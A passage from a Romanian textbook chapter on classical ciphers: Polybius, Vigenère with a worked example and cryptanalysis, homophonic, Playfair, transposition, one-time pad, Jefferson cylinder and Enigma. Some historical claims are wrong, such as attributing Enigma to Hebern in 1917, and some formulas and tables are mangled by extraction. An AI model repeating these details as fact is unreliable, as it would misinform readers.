semnături digitale – un mesaj semnat cu cheia privată a emițătorului poate fi verificat
de către oricine, prin acces la cheia publică corespunzătoare, astfel asigurându-se
autenticitatea mesajului.
m o u s e 1 2 3 4 5 a b c d e
m A B C D E 1 A B C D E a A B C D E
u F G H I/J K 2 F G H I/J K b F G H I J
s L M N O P 3 L M N O P c K L M N O
c Q R S T U 4 Q R S T U d P R S T U
a V W X Y Z 5 V W X Y Z e V W X Y Z
Tabelul 5.2. Exemple de tabele ale cifrului Polibios
8
În operaţia de criptare, fiecare caracter x va fi reprezentat printr-o pereche de litere (x, y),
unde x∈{m, o, u, s, e} iar y∈{m, u, s, c, a} pentru primul exemplu din figură, sau x, y∈{1, 2, 3, 4, 5}
și x, y∈{a, b, c, d, e} pentru exemplele doi și trei.
Astfel, pentru primul exemplu de tabel, textul clar VENI VIDI VICI este criptat în
ma em us su ma su sm su ma su um su.
Cifrul Polibius, prezentat în exemplul din mijloc al tabelului 5.2, a fost folosit de
condamnații din penitenciarele ruseşti şi de către prizonierii americani din Vietnam. Cifrul este
foarte simplu de învăţat şi poate fi aplicat folosind diverse semne drept coordonate-chei (cifre,
puncte, figuri, etc). Cifrul Polibios a fost utilizat de asemenea în cadrul altor sisteme de criptare,
cum ar fi sistemul nihilist, cifrul ADFGVX (utilizat de armata germană în primul război mondial)
sau sistemul Bifid.
Punctul slab al sistemelor de criptare monoalfabetice constă în frecvenţa de apariţie a
caracterelor în text. Dacă un text criptat este suficient de lung şi se cunoaşte limba în care este scris
textul clar, sistemul poate fi spart printr-un atac bazat pe frecvenţa apariţiei literelor într-o limbă
(atacul prin analiza frecvenței), această frecvență fiind o problemă studiată intens (nu neapărat în
scopuri criptografice) iar în rezultat au fost construite diverse structuri de ordine relativ la frecvenţa
apariţiei literelor în fiecare limbă europeană și în alte limbi.
De obicei, cu cât un text criptat este mai lung, cu atât frecvenţa literelor folosite se apropie
de această ordonare generală. O comparare între cele două relaţii de ordine (cea a caracterelor din
textul criptat şi cea a literelor din alfabetul limbii curente) conduce la realizarea câtorva
corespondenţe (literă text clar – literă text criptat), ceea ce stabileşte în mod univoc cheia de
criptare. Pentru algoritmul Cezar este suficientă stabilirea unei singure perechi, pentru cel afin
trebuiesc două perechi etc. Pentru limba română frecvenţa literelor este prezentată în tabelul 5.3 şi
figura 5.3.
A Ă Â B C D E F G H I Î J K L M
9,95 4,06 0,91 1,07 5,28 3,45 11,47 1,18 0,99 0,47 9,96 1,40 0,24 0,11 4,48 3,10
N O P Q R S Ş T Ţ U V W X Y Z
6,47 4,07 3,18 0,00 6,82 4,40 1,55 6,04 1,00 6,20 1,23 0,03 0,11 0,07 0,71
Tabelul 5.3. Frecvenţa literelor limbii române
9
Figura 5.3. Frecvenţa literelor limbii române
Cifruri de substituţie polialfabetică (polyalphabetic ciphers). Slăbiciunea cifrurilor
monoalfabetice este definită de faptul că distribuţia lor de frecvenţă reflectă distribuţia alfabetului
folosit. Un cifru este mai sigur din punct de vedere criptografic dacă prezintă o distribuţie cât mai
regulată, care să nu ofere informaţii criptanalistului.
O cale de a aplatiza distribuţia este combinarea distribuţiilor ridicate cu cele scăzute. Daca
litera T este criptată câteodată ca a şi altă dată ca b, şi dacă litera X este de asemenea câteodată
criptată ca a şi altă dată ca b, frecvenţa ridicată a lui T se combină cu frecvenţa scăzută a lui X
producând o distribuţie mai moderata pentru a şi pentru b. Două distribuţii se pot combina prin
folosirea a doua alfabete separate de criptare, primul pentru caracterele aflate pe poziţii pare în
textul clar, al doilea pentru caracterele aflate pe poziţii impare, rezultând necesitatea de a folosi
alternativ doua tabele de translatare, de exemplu permutările
p(a)=(3·a) mod 26 şi p2(a)=(7·a +13) mod 26.
Diferenţa dintre cifrurile polialfabetice şi cele monoalfabetice constă în faptul că substituţia
unui caracter variază în text, în funcţie de diverşi parametri (poziţie, context etc.). Aceasta conduce
bineînţeles la un număr mult mai mare de chei posibile. Se consideră că primul sistem de criptare
polialfabetic a fost creat de Leon Battista în 1568. Unele aplicaţii actuale folosesc încă pentru
anumite secţiuni astfel de sisteme de criptare.
Cifrul Vigenere. La fel ca cifrul Cezar, cifrul Vigenere deplasează literele, dar, spre
deosebire de acesta nu se poate sparge uşor în 26 combinaţii. Cifrul Vigenere foloseşte o deplasare
multiplă. Cheia nu este constituită de o singură deplasare, ci de mai multe, fiind generate de câţiva
întregi ki, unde 0 ≤ ki ≤ 25, dacă luăm ca reper alfabetul latin cu 26 de litere. Criptarea se face în
felul următor:
ci = mi + ki (mod 26).
Cheia poate fi, de exemplu, k = (5, 20, 17, 10, 20, 13) şi ar provoca deplasarea primei litere cu 5,
c1=m1 + 5 (mod 26), a celei de a doua cu 20, c2 = m2 + 20 (mod 26), ş.a.m.d. până la sfârşitul cheii
10
şi apoi de la început, din nou. Cheia este de obicei un cuvânt, pentru a fi mai uşor de memorat –
cheia de mai sus corespunde cuvântului „furtun”. Metoda cu deplasare multiplă oferă protecţie
suplimentară din două motive:
primul motiv este că ceilalţi nu cunosc lungimea cheii;
cel de al doilea motiv este că numărul de soluţii posibile creşte; de exemplu, pentru
lungimea cheii egală cu 5, numărul de combinaţii care ar fi necesare la căutarea
exhaustivă ar fi 265 = 11 881 376.
Decriptarea pentru cifrul Vigenere este asemănătoare criptării. Diferenţa constă în faptul că
se scade cheia din textul cifrat,
mi = ci – ki (mod 26).
Pentru simplificarea procesului de cifrare se poate utiliza următorul tabel, numit Tabula
Recta (tabelul 5.4). Aici toate cele 26 cifruri sunt situate pe orizontală şi fiecărui cifru îi corespunde
o anumită literă din cheie, reprezentată în colana din stânga tabelului. Alfabetul corespunzător
literelor textului clar se află în prima linie de sus a tabelului. Procesul de cifrare este simplu – este
necesar ca având litera x din cheie şi litera y din textul clar să găsim litera textului cifrat care se află
la intersecţia liniei x şi coloanei y. Se poate de procedat şi în conformitate cu ecuaţiile ce definesc
cifrul ci = mi + ki (mod 26) şi mi = ci – ki (mod 26), aşa cum este arătat în exemplul ce urmează.
a b c d e f g h i j k l m n o p q r s t u v w x y z
a A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
b B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
c C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
d D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
e E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
f F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
g G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
h H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
i I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
j J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
k K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
l L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
m M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
n N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
o O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
p P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
r R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
s S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
t T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
u U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
v V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
w W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
x X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
11
Tabelul 5.4. Tabula Recta pentru cifrul Vigenere
Problemă.
De cifrat, utilizând cifrul Vigenere, mesajul „Per aspera ad astra” folosind cheia K= SUPER.
Soluție. Pentru a cifra sau descifra mai întâi facem corespondenţa următoare:
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
Apoi alcătuim şi completăm tabelul:
Textul clar M P E R A S P E R A A D A S T R A
Cheia K S U P E R S U P E R S U P E R S
Textul clar M 15 4 17 0 18 15 4 17 0 0 3 0 18 19 17 0
Cheia K 18 20 15 4 17 18 20 15 4 17 18 20 15 4 17 18
M+K (mod 26) 7 24 6 4 9 7 24 6 4 17 21 20 7 23 8 18
Textul cifrat C H Y G E J H Y G E R V U H X I S
Criptograma este C= HYGEJHYGERVUHXIS.
Pentru decriptare procedăm la fel, cu excepţia mi = ci – ki (mod 26).
Pentru acesta la fel completăm următorul tabel:
Textul cifrat C H Y G E J H Y G E R V U H X I S
Cheia K S U P E R S U P E R S U P E R S
Textul cifrat C 7 24 6 4 9 7 24 6 4 17 21 20 7 23 8 18
Cheia K 18 20 15 4 17 18 20 15 4 17 18 20 15 4 17 18
M–K (mod 26) 15 4 17 0 18 15 4 17 0 0 3 0 18 19 17 0
Textul clar M P E R A S P E R A A D A S T R A
Textul clar este M = PERASPERAADASTRA.
Criptanaliza sistemului Vigenere constă în următoarele:
fie c = c0 c1 ... cn-1 textul criptat cu cheia k = k0 k1 ... kp−1; putem aranja acest text sub forma unei
matrice cu p linii şi n / p 1 coloane, astfel:
c0 cp c2 p …
c1 c p1 c2 p1 …
c p1 c2 p1 c3 p1 …
adică cu un sistem Cezar ( k 0 fiind o valoare fixată din Z26). În mod similar şi celelalte linii. Deci,
dacă s-ar cunoaşte lungimea p a cheii, problema s-ar reduce la criptanaliza a p texte criptate cu
Cezar – sistem de criptare monoalfabetic. Sunt cunoscute două metode pentru aflarea lungimii
cheii: testul lui Kasiski şi indexul de coincidenţă.
1
⌈x⌉ - funcția plafon, sau partea întreagă prin exces, este cel mai mic număr întreg mai mare decât numărul real x dat.
12
Prima metodă constă în studiul textului criptat şi aflarea de perechi de segmente de cel puţin
3 caractere identice (această lungime este propusă de Kasiski). Pentru fiecare astfel de pereche, se
determină distanta dintre segmente. După ce s-au găsit mai multe astfel de distanţe, valoarea lui p
va fi cel mai mare divizor comun al lor (sau – eventual un divizor al acestuia).
A doua metodă de aflare a lungimii cheii de criptare într-un sistem Vigenere se bazează pe
un concept definit în 1920 de Wolfe Friedman - indexul de coincidenţă. Dacă c c1c2 ...cn este o
secvenţă de n caractere alfabetice, probabilitatea ca două caractere din c, alese aleator, să fie
identice se numeşte ”index de coincidenţă” I c (x) al lui c.
Cifrul omofonic (homophonic ciphers) este un cifru de substituţie în care un caracter al
alfabetului mesajului clar (alfabet primar) poate să aibă mai multe reprezentări. Ideea utilizată în
aceste cifruri este uniformizarea frecvenţelor de apariţie a caracterelor alfabetului textului cifrat
(alfabet secundar), pentru a îngreuna atacurile criptanalitice. Astfel, litera A - cu cea mai mare
frecvenţă de apariţie în alfabetul primar – poate fi înlocuită de exemplu cu H, # sau m.
Cifrul omofonic este un cifru intermediar între sistemele mono şi cele polialfabetice.
Principalul lui scop este de a evita atacul prin frecvenţa de apariţie a caracterelor. Se presupune că a
fost utilizat prima oară în 1401 de către ducele de Mantua. În cifrul omofonic fiecărui caracter
a m i se asociază o mulţime H(a) c astfel încât:
H(a) ∩ H(b) = a b;
Dacă a apare mai frecvent decât b în textele clare, atunci card (H(a)) ≥ card(H(b)).
Criptarea unui caracter x m se face cu un element ales aleator din H(a). Pentru decriptarea lui
y c se caută o mulţime H(x) astfel încât y H(x).
Exemplu. Pentru limba engleză poate fi utilizat cifrul definit de tabelul 5.5, în primele două linii ale
căruia sunt aşezate literele alfabetului latin şi frecvenţele rotunjite ale acestora. În coloanele de sub
litera x este situat H(x). De exemplu
H(n) = {18, 58, 59, 66, 71,91}.
Pentru criptarea textului „ab” se poate folosi oricare din secvenţele
0948, 1248, 3348, 4748, 5348, 6748, 7848, 9248, 0981, 1281, 3381, 4781, 5381, 6781, 7881, 9281.
Tabelul 5.5 a fost completat cu numerele 00, 01,…, 99, ele fiind în cantitate de 100 pentru a
simplifica calculele legate de frecvența literelor (adică pentru a corespunde cu 100% a frecvențelor).
Însă elementele acestui tabel pot fi oricare simboluri, iar cantitatea lor va determina coeficientul de
proporționalitate pentru frecvențele fiecărei litere din alfabet.
a b c d e f g h i j k l m n o p q r s t u v w x y z
8 2 3 4 12 2 2 6 6 1 1 4 2 6 7 2 1 6 6 9 3 1 2 1 2 1
09 48 13 01 14 10 06 23 32 15 04 26 22 18 00 38 94 29 11 17 08 34 60 28 21 02
12 81 41 03 16 31 25 39 70 37 27 58 05 95 35 19 20 61 89 52
33 62 45 24 50 73 51 59 07 40 36 30 63
13
47 79 44 56 83 84 66 54 42 76 43
53 46 65 88 71 72 77 86 49
67 55 68 93 91 90 80 96 69
78 57 99 75
92 64 85
74 97
82
87
98
Tabelul 5.5. Exemplu de cifru omofonic pentru limba engleză
Deşi mai greu de spart decât cifrurile de substituţie simple (monoalfabetice), cifrul omofonic
nu maschează total proprietăţile statistice ale textului clar. În cazul unui atac cu text clar cunoscut,
cifrul se sparge extrem de uşor. Atacul cu text cifrat este mai dificil, dar unui calculator îi va lua
doar câteva secunde pentru a-l sparge.
Substituţie poligramică realizează substituirea unor blocuri de caractere (poligrame) din
textul clar, distrugând astfel semnificaţia, atât de utilă în criptanaliză, a frecvenţelor diferitelor
caractere. Vom considera un mesaj m=m1m2...mdmd+1... şi un cifru care prelucrează poligrame de
lungime d. Criptograma rezultată este c=c1c2...cdcd+1...cd+d..., fiecare poligramă mi,d+1...mi,d+d fiind
transformată în poligrama ci,d+1...ci,d+d prin funcţia de substitute fj astfel:
ci,d+j = fj(mi,d+1…mi,d+d)
În cazul cifrării literelor singulare frecvenţa de apariţie a literelor în textul cifrat este egală
cu frecvenţa de apariţie a literelor corespunzătoare din textul clar. Această invarianţă a frecvenţelor
furnizează o cantitate de informaţie suficientă criptanalistului pentru spargerea cifrului. Pentru
minimizarea informaţiei colaterale furnizate de frecvenţa de apariţie a literelor s-a utilizat cifrarea
grupurilor de d litere (d-grame). În cazul când un grup de d litere este substituit printr-un alt grup de
d litere, substituţia se numeşte poligramică. Substituţia poligramică cea mai simplă se obţine pentru
d =2 când digrama m1m2 din textul clar se substituie cu digrama c1c2 din textul cifrat.
Un exemplu clasic pentru substituţia diagramelor este cifrul lui Playfair (tabelul 5.6).
P L A Y F
I/J R B C D
E G H K M
N O Q S T
U V W X Z
Tabelul 5.6. Exemplu de cifru Playfair
Primele litere din pătrat (în caz general – un dreptunghi) reprezintă un cuvânt cheie k
(literele care se repetă se scriu o singură dată, în acest exemplu cheia fiind k=PLAYFAIR), după
care pătratul se completează cu literele alfabetului în ordinea lor naturală, fără repetare. Cifrarea se
executa după următoarele reguli:
14
Pentru separarea literelor identice alăturate se introduc nişte caractere de separare care,
de regula, au frecventa de apariţie redusă, cum sunt de exemplu literele X, Q în limba
româna. În cazul în care numărul de caractere în textul clar este impar se procedează la
fel. La descifrare aceste litere introduse se omit.
Dacă m1m2 sunt dispuse în vârfurile opuse ale unui dreptunghi, atunci c1c2 sunt
caracterele din celelalte vârfuri ale dreptunghiului, c1 fiind în aceeaşi linie cu m1. De
exemplu RK devine CG, deci RK CG;
Dacă m1 şi m2 se găsesc într-o linie, atunci c1 şi c2 se obţin printr-o deplasare ciclică spre
dreapta a literelor m1 şi m2. De exemplu PA LY iar NO OQ;
Dacă m1 şi m2 se află în aceeaşi coloană atunci c1 şi c2 se obţin printr-o deplasare ciclică
a lui m1, m2 de sus în jos. De exemplu AH BQ iar OV VL;
Descifrarea se executa după reguli asemănătoare cu cele de cifrare, inversând direcția.
Exemplu. Folosind exemplul de mai sus (k = PLAYFAIR) pentru textul clar m=„VINE IARNA”
obţinem textul cifrat c=„UR UN BP IO YW”. Aici am introdus la sfârşitul mesajului litera X iar
AX YW. La descifrare după sensul mesajului se omite această literă.
Cifrul Playfair se folosea în scopuri tactice de către forţele militare britanice în timpul celui
de-al doilea război al Burilor (1899-1902) dar şi în primul război mondial. La fel a fost utilizat de
către australieni şi germani în timpul celui de-al doilea război mondial. El era utilizat deoarece era
suficient de rapid în aplicare şi nu necesita nici un utilaj special. Scopul principal al utilizării lui era
protecţia informaţiei importante (însă nu şi secrete) pe parcursul unei lupte. La momentul când
criptanaliştii inamici spărgeau cifrul, informaţia deja nu mai era utilă pentru inamic.
Utilizarea cifrului Playfair în prezent nu are sens deoarece laptop-urile moderne pot sparge
cu uşurinţă cifrul în câteva secunde. Primul algoritm de spargere pentru Playfair a fost descris în
anul 1914 de către locotenentul Iosif O. Moubornom într-o broşură de 19 pagini.
5.2.2. Cifrul de transpoziţii
Spre deosebire de cifrurile cu substituţie, care păstrează ordinea literelor din textul sursă,
însă le transformă, cifrurile cu transpoziţie (transposition ciphers) reordonează literele, fără a le
„deghiza”. Criptarea prin metoda transpoziţiei este o tehnică mai eficientă decât criptarea prin
substituţie, dar are, la rândul ei, o mulţime de dezavantaje. Textul criptat prin metoda transpoziţiei
păstrează toate caracterele textului iniţial, dar în altă ordine obţinută prin aplicarea algoritmului ce
va fi prezentat în continuare.
Criptarea prin transpoziţie constă în scrierea textului iniţial din care s-au eliminat spaţiile şi
semnele de punctuaţie într-o matrice de dimensiune M×N şi interschimbarea anumitor linii (sau
coloane) între ele. Textul criptat se obţine prin scrierea caracterelor din noua matrice de pe fiecare
coloană în parte, începând cu colţul din stânga-sus. Dacă lungimea textului iniţial este mai mică
15
decât numărul de elemente ce pot fi scrise în matrice, atunci textul se completează cu elemente
aleatoare, până ajunge la dimensiunea M·N.
Pentru textul „Securitatea este asigurată”, care are lungimea de 24 de caractere, se pot alege
mai multe matrice de dimensiune M×N, o posibilitate ar fi ca matricea să aibă 4 linii şi 6 coloane,
dar pentru ca textul să fie mai greu de decodificat trebuie să conţină şi caractere alese aleator, sau
într-un mod mai inteligent, care să îngreuneze munca celui care doreşte să afle conţinutul secret din
mesajul criptat. Fie am ales o matrice care are 5 linii şi 6 coloane. Textului iniţial i se adaugă 6
caractere aleatoare şi se obţine textul Securi tateae steasi gurată xyztwu care se scrie în matricea din
partea stângă, aşa cum e arătat în tabelul 5.7:
1 2 3 4 5 6 1 2 3 4 5 6
1 S e c u r i 5 x y z t w u
2 t a t e a e 3 s t e a s i
3 s t e a s i 4 g u r a t ă
4 g u r a t ă 1 S e c u r i
5 x y z t w u 2 t a t e a e
1 2 3 4 5 6 1 2 3 4 5 6
b 1 S e c u r i 1 S e c u r i
u 4 t a t e a e 2 x y z t w u
t 3 s t e a s i 3 s t e a s i
u 5 g u r a t ă 4 t a t e a e
c 2 x y z t w u 5 x y z t w u
16
Tabelul 5.8. Exemplu de transpoziţie cu cheie
Textul cifrat care se obţine în final este c= Sxstx eytay czetz utaet rwsaw iuieu.
Pentru a decripta un mesaj criptat cu această metodă, criptograma se scrie în matrice pe
coloane, începând cu colţul stânga-sus, şi apoi se realizează operaţia inversă, adică pentru fiecare
indice j al literelor din cheie, se caută indicele i asociat literei din şirul sortat şi se scrie linia cu
indicele i. Din noua matrice astfel obţinută se scriu literele de pe fiecare linie, în ordinea naturală.
Spargerea unui cifru cu transpoziţie începe cu verificarea dacă acesta este într-adevăr de
acest tip prin calcularea frecventelor literelor şi compararea acestora cu statisticile cunoscute. Dacă
aceste valori coincid, se deduce că fiecare literă este „ea însăşi”, deci este vorba de un cifru cu
transpoziţie. Următorul pas este emiterea unei presupuneri în legătură cu numărul de coloane.
Acesta se poate deduce pe baza unui cuvânt sau expresii ghicite ca făcând parte din text.
Considerând spre exemplu sintagma „săprezinte”, cu grupurile de litere (luate pe coloane) „si”,
„ăn”, „pt”, „re”, se poate deduce numărul de litere care le separă, deci numărul de coloane. Notăm
în continuare cu m acest număr de coloane.
Pentru a descoperi modul de ordonare a coloanelor, dacă m este mic, se pot considera toate
posibilităţile de grupare a câte două coloane (în număr de m·(m – 1) ). Se verifică dacă ele formează
împreună un text corect numărând frecventele literelor şi comparându-le cu cele statistice. Perechea
cu cea mai bună potrivire se consideră corect poziţionată. Apoi se încearcă, după acelaşi principiu,
determinarea coloanei succesoare perechii din coloanele rămase iar apoi - a coloanei predecesoare.
În urma acestor operaţii, există şanse mari ca textul să devină recognoscibil.
Unele proceduri de criptare acceptă blocuri de lungime fixă la intrare şi generează tot un
bloc de lungime fixă. Aceste cifruri pot fi descrise complet prin lista care defineşte ordinea în care
caracterele vor fi trimise la ieşire (şirul poziţiilor din textul de intrare pentru fiecare caracter din
succesiunea generată).
De la apariţia cifrurilor cu substituţie şi a celor cu transpoziţie anii au trecut şi tehnicile de
criptare au evoluat foarte mult. Problema construirii unui cifru imposibil de spart i-a preocupat
îndelung pe criptanalişti; ei au dat o rezolvare teoretică simplă încă de acum câteva decenii dar
metoda nu s-a dovedit fiabilă din punct de vedere practic, după cum se va vedea în continuare.
Tehnica propusă pentru un cifru perfect presupune alegerea unui şir aleator de biţi pe post de
cheie şi aducerea textului sursă în forma unei succesiuni de biţi prin înlocuirea fiecărui caracter cu
codul său ASCII. Apoi se aplică o operaţie logică - de tip SAU exclusiv (operaţia inversă
echivalentei: 0 xor 0 = 0, 0 xor 1 = 1, 1 xor 0 = 1, 1 xor 1 = 0) - între cele două şiruri de biţi. Textul
cifrat rezultat nu poate fi spart pentru că nu există indicii asupra textului sursă şi nici textul cifrat nu
oferă criptanalistului informaţii. Pentru un eşantion de text cifrat suficient de mare, orice literă sau
grup de litere (diftong, triftong) va apărea la fel de des.
17
Acest procedeu este cunoscut sub numele de metoda cheilor acoperitoare. Deşi este perfectă
din punct de vedere teoretic, metoda are, din păcate, câteva dezavantaje practice:
cheia nu poate fi memorată, astfel încât transmiţătorul şi receptorul să poarte câte o copie
scrisă a ei fiindcă în caz că ar fi „capturaţi”, adversarul ar obţine cheia;
cantitatea totală de date care poate fi transmisă este determinată de dimensiunea cheii
disponibile;
o nesincronizare a transmiţătorului şi receptorului care generează o pierdere sau o inserare
de caractere poate compromite întreaga transmisie fiindcă toate datele ulterioare incidentului
vor apărea ca eronate.
Ideea de maşină de criptare apare clar prima dată la Thomas Jefferson, primul secretar de
Stat al Statelor Unite (preşedinte era George Washington), care a inventat un aparat de criptat numit
roată de criptare, folosit pentru securitatea corespondenţei cu aliaţii – în special cei francezi. Un
cilindru Jefferson (figura 5.6) este format din n discuri de dimensiuni egale (iniţial n = 26 sau n =
19
36) aşezate pe un ax. Discurile se pot roti independent pe ax, iar pe muchia fiecăruia sunt înscrise
cele 26 litere ale alfabetului, într-o ordine aleatoare (dar diferită pentru fiecare disc).
La criptare, textul clar se împarte în blocuri de n caractere. Fiecare astfel de bloc se scrie pe
o linie (generatoare) a cilindrului, rotind corespunzător fiecare disc pentru a aduce pe linie
caracterul căutat. Oricare din celelalte n-1 linii rămase poate constitui blocul de text criptat.
Pentru decriptare este necesar un cilindru identic, în care se scrie pe o linie textul criptat (de
n caractere) şi apoi se caută printre celelalte 25 linii un text cu semnificaţie semantică.
Probabilitatea de a avea un singur astfel de text creşte cu numărul de discuri din cilindru.
O mică diferenţă apare dacă textul clar nu are nici o semnificaţie semantică (s-a folosit o
dublă criptare). Atunci trebuie convenită dinainte o anumită distanţă de criptare s (1 ≤ s ≤ 25).
Ordinea discurilor poate fi de asemenea schimbată. De exemplu, un cilindru cu n = 20
discuri poate realiza 20! = 2 432 902 008 176 640 000 texte criptate diferite pentru acelaşi text clar.
Cilindrul Jefferson realizează o substituţie polialfabetică de perioadă n. Dacă ar fi privit ca un
sistem de criptare Vigenere, lungimea cheii este enormă (de multe ori nn, în funcţie de modalităţile
de aranjare a alfabetelor pe discuri). Cilindrul Jefferson a fost reinventat ulterior de mai multe ori,
cea mai celebră fiind se pare maşina de criptat „Enigma”.
Thomas Jefferson a folosit acest aparat în perioada 1790 − 1802, după care se pare că ideea
s-a pierdut. Devenit preşedinte, Jefferson a fost atras de sistemul Vigenere, pe care îl consideră mai
sigur şi-l recomandă secretarului său de stat James Madison ca înlocuitor al sistemului pe care îl
inventase anterior.
5.3.2. Mașini rotor
O maşină rotor (rotor machine, figura 5.7) are o tastatură şi o serie de rotoare ce permit
implementarea unei versiuni a cifrului Vigénère. Fiecare rotor face o permutare arbitrară a
alfabetului, are 26 de poziţii şi realizează o substituţie simplă. Deoarece rotoarele se mişcă cu viteze
de rotaţie diferite, perioada unei maşini cu n rotoare este n·26!.
Aplicarea practică a acestor maşini a început numai la începutul secolului XX. Una dintre
primele maşini rotor a fost maşina germană „Enigma”, elaborată în anul 1917 de către Eduard
Hebern şi perfectată mai târziu de mai multe ori. Din punct de vedere comercial ea a fost
20
disponibilă pe piaţă încă din anul 1920, însă importanţa ei a fost dată de utilizarea maşinii de către
diverse guverne, în mod special de către Germania nazistă înainte şi în timpul celui de-al doilea
război mondial.
Dintre toate dispozitivele criptografice create de-a lungul timpului maşina Enigma a fost un
echipament mai special din 2 puncte de vedere: criptografic și istoric.
Importanţa din punct de vedere criptografic este dată
de faptul că echipe de criptanalişti (matematicieni la origine)
de toate naţionalităţile, în efort combinat, au încercat pe de o
parte perfecţionarea maşinii, pe de altă parte spargerea
cifrurilor. Printre cei care au participat la spargerea cifrului au
făcut parte şi polonezul Rajewski şi britanicul Turing
(inventatorul maşinilor Turing).
Importanţa istorică rezidă din rolul mare jucat de
aceste maşini în timpul celui de-al doilea război mondial, mai
precis faptul că descifrarea de către aliaţi a codului (nume de
Figura 5.7. Modelul militar proiect ULTRA) a dus, după unii istorici, la scurtarea
german numit Wehrmacht războiului cu aproximativ un an.
Enigma
21
Figura 5.8. Rotor Enigma Figura 5.9. Principiul de funcţionare al
maşinii (Enigma)
Principiul de funcţionare al maşinii Enigma se prezenta conform schemei din Figura 5.9.
Prin apăsarea tastei ”A” curentul era trecut prin setul de rotoare până la reflector de unde se
”întorcea” înapoi aprinzându-se becul ”G”. Litera ”A” se criptează diferit (”G” si ”C”) doar printr-o
simplă rotire a primului rotor care face ca semnalul să circule pe o rută complet diferită.
Pentru operarea maşinii în primul rând toţi operatorii aveau maşini identice (pentru
asigurarea inter-operabilităţii). Iniţierea criptării unui mesaj se făcea în 2 paşi:
Pasul 1: setarea maşinii – operaţie ce consta în fixarea ordinei şi poziţiei fiecărui rotor
precum şi alegerea celor 6 perechi de conectori prin placa cu comutatoare (switch
board).
Pasul 2: scrierea propriu-zisă a mesajului – pentru criptarea mesajului operatorul apăsa
pe tasta corespunzătoare primei litere din textul necodat (să zicem ”N”). În acest moment
se aprindea o lampă (să zicem ”T”) corespunzătoare codificării. Repetând şi pentru
celelalte litere, rezulta textul codat.
Trebuie de menţionat că toate setările din Pasul 1 erau înscrise în manuale de operare (code
books), setări ce se schimbau de regulă zilnic. Fiecare operator avea câte un exemplar. De fapt,
aceste setări constituiau cheia criptosistemului Enigma. Un atribut extrem de important al maşinii
Enigma era că cheile de cifrare şi cele de decifrare erau aceleaşi. Cu alte cuvinte dacă la
”transmitere” ”N” se transforma în ”T”, la ”destinaţie ”T” se transforma în ”N” (folosind bine-nţeles
aceleaşi setări ale maşinii).
Utilizarea intensivă colaborată cu posibilitatea transmiterii informaţiei folosind aceleaşi day
key la care se adăugau intensele activităţi de contraspionaj i-au condus pe germani la teama că
maşina ar putea fi compromisă. Efectul, a fost introducerea unui protocol. Acesta spunea: „fiecare
operator va transmite suplimentar, înaintea mesajului propriu zis, o cheie a mesajului (message
22
key)”. Aceste chei erau cuvinte (nu neapărat cu sens) formate din 3 litere alese în mod aleator de
operatorul maşinii. Cu alte cuvinte, operatorul trebuia să seteze maşina conform instrucţiunilor
zilnice din manualul de operare (code book), după care trimitea cheia din cele trei litere alese
aleator. În aşa fel maşina se seta într-un mod complet aleator. Condiţiile radio proaste, lucrul sub
presiune, precum şi alte condiţii de lucru nefavorabile puteau conduce la transmiterea (sau
recepţionarea) greşită (alterată) a cheii, fapt ce ar fi făcut inutilă transmiterea mesajului propriu-zis
(evident, datorită faptului că maşinile de la transmiţător şi cea de la receptor ar fi fost setate diferit).
Pentru a minimiza astfel de incidente, operatorilor li s-a cerut să transmită cheia de 2 ori. De
exemplu cheia hot se transmitea hothot și se recepţiona dugraz. Însă în mod ironic, ceea ce se dorea
o măsură de securitate în plus, de fapt a compromis maşina.
Matematic vorbind, mulţimea cheilor posibile era atât de mare încât nici nu se punea
problema ”atacării” maşinii, cel puţin nu la aceea vreme, prin metoda exhaustivă („brute-force”).
Enigma a fost elaborată astfel încât securitatea să fie păstrată chiar dacă inamicul cunoaşte schemele
rotoarelor, cu toate că în practică setările erau secrete. Cu o schemă secretă de setare cantitatea
totală a configurărilor posibile era de ordinul 10114 (circa 380 biţi) iar dacă schema şi alte setări
operaţionale erau cunoscute acest număr se reducea la 1023 (76 biţi). Germanii credeau că maşina
Enigma este una infailibilă datorită imensităţii setărilor posibile ce i se puteau aplica. Era ireal să
începi măcar să alegi o configurare posibilă.
Din punct matematic de vedere transformarea Enigmei pentru fiecare literă este rezultatul
matematic a permutărilor. Pentru un aparat cu trei rotoare fie P transformarea pe tabela de prize, U -
reflectorul, şi L, M, R - acţiunea rotorului din stânga, din mijloc, dreapta respectiv. Atunci
criptarea E poate fi notată cu:
E = PRMLUL- 1M - 1R - 1P - 1
După fiecare apăsare de tastă rotoarele se rotesc, schimbând transformarea. De exemplu
dacă rotorul de dreapta R e rotit cu i poziţii, transformarea devine: ρiRρ- i, unde ρ este permutarea
ciclică. Similar, rotorul din mijloc şi cel din stânga pot fi reprezentate ca j şi k rotaţii respectiv a lui
M şi L. Funcţia de criptare poate fi descrisă astfel:
E = P(ρiRρ - i)(ρjMρ - j)(ρkLρ - k)U(ρkL - 1ρ - k)(ρjM - 1ρ - j)(ρiR - 1ρ - i)P - 1
Pentru elucidarea funcţionării maşinii Enigma este sugestivă simularea (în flash) de la
www.enigmaco.de/enigma (figura 5.10).
